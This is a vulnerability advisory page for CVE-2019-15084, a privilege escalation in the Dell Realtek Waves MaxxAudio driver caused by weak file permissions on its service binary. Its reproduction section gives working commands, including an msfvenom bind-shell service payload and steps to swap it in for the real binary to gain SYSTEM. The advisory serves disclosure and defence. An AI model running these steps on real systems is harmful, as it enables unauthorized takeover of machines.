VYPR
Unrated severityNVD Advisory· Published Aug 15, 2019· Updated Aug 5, 2024

CVE-2019-15084

CVE-2019-15084

Description

Realtek Waves MaxxAudio driver 1.6.2.0, as used on Dell laptops, installs with incorrect file permissions. As a result, a local attacker can escalate to SYSTEM.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

2

Patches

Vulnerability mechanics

Root cause

"The installer sets incorrect file permissions granting `Everyone` full control over the service binary, allowing any local user to replace it."

Attack vector

A local attacker first verifies the weak permissions on `WavesSysSvc64.exe` using `icacls`, confirming that the `Everyone` group has full control (`F`) [ref_id=1]. Because the service runs as `LocalSystem`, replacing its binary with a malicious executable causes the service to execute the attacker's payload with SYSTEM privileges. The attacker moves the legitimate binary aside (since it is in use) and places a crafted `exe-service` payload (e.g., a bind shell generated with msfvenom) in its place [ref_id=1]. No authentication beyond local user access is required, and no special privileges are needed to exploit the weak file permission.

Affected code

The vulnerable binary is `C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe`, the executable for the `wavessyssvc` service which runs as `LocalSystem` [ref_id=1]. The service binary is installed with overly permissive ACLs, granting `Everyone:(I)(F)` (full control) to all users [ref_id=1].

What the fix does

No patch is provided in the bundle. The advisory states that "Dell PSIRT has acknowledged the issue and advises updating to a supported driver" [ref_id=1]. The fix would involve the vendor revising the installer to set restrictive file permissions on `WavesSysSvc64.exe`, removing the `Everyone:(F)` ACE so that only `SYSTEM` and `Administrators` can modify the binary, thereby preventing unprivileged users from replacing it.

Preconditions

  • authAttacker must have local user access to the Windows system
  • configThe WavesSysSvc64.exe file must be present with the weak ACL (Everyone: Full Control)

Reproduction

1. Verify weak permissions: `icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"` — confirm `Everyone:(I)(F)` is present. 2. Generate a service payload: `msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe`. 3. Transfer the payload to the victim. 4. Move the legitimate binary: `move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak"`. 5. Copy the malicious payload to the original path: `copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"`. 6. Restart the service or reboot; the payload runs as SYSTEM [ref_id=1].

Generated on May 25, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

1

News mentions

0

No linked articles in our index yet.